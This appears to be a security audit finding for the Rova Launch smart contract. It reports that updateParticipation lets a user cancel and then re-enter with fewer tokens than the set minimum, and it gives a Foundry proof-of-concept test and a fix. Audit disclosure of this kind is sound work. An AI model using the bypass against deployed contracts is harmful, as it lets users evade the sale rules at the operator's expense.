Melodic Plastic Caterpillar

High

# [High] - User can set their tokens less than the minimum required amount of tokens specified in `launchGroup`

### Summary

Missing check in `updateParticipation` allows user to set their tokens as less than the minimum amount.

### Root Cause

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L312-L397

In `updateParticipation` there is a missing check to ensure that `prevInfo.tokenAmount != 0`  this allows user to cancel their initial participation and then update their participation to allow for lesser tokens

### Internal Pre-conditions

1. `manager` initializes the  `launchGroup` with `finalizesAtParticipation` set as `false`

### External Pre-conditions

None

### Attack Path

1. User calls `participate()` 
2. User calls `cancelParticipation()`
3. User calls `updateParticipation()` with `tokenAmount` less than `minTokenAmountPerUser` 

### Impact

The User is able to set his `tokenAmount` to be lesser than what the `Manager` defines while initializing `launchGroup`

### PoC

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    UpdateParticipationRequest,
    ParticipationInfo,
    CurrencyConfig,
    CancelParticipationRequest
} from "../src/Types.sol";
import {console} from "forge-std/console.sol";

contract LaunchUpdateParticipationTest is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest public originalParticipationRequest;

    function setUp() public {
        _setUpLaunch();

        // Setup initial participation
        settings = _setupLaunchGroup();
        originalParticipationRequest = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(originalParticipationRequest));

        vm.startPrank(user1);
        currency.approve(
            address(launch),
            type(uint256).max
        );
        launch.participate(originalParticipationRequest, signature);

        vm.stopPrank();
    }


    function test_POC() public {
        CancelParticipationRequest memory cancelRequest = _createCancelParticipationRequest();
        bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));
        vm.startPrank(user1);

        // Update participation
        // User cancels request
        launch.cancelParticipation(cancelRequest, cancelSignature);

        // Prepare update participation request
        UpdateParticipationRequest memory request = _createUpdateParticipationRequest(1);
        bytes memory signature = _signRequest(abi.encode(request));

        // Update participation
        launch.updateParticipation(request, signature); // should revert but doesn't
        ParticipationInfo memory newInfo = launch.getParticipationInfo(request.newLaunchParticipationId);
        
        // shouldn't revert but does
        assert(settings.minTokenAmountPerUser > newInfo.tokenAmount); 
        vm.stopPrank();
    }

    function _createUpdateParticipationRequest(uint256 newTokenAmount)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "newLaunchParticipationId",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
}

```

### Mitigation

`updateParticipation()` should have a check to ensure that `prevInfo.tokenAmount != 0` and `prevInfo.currencyAmount != 0`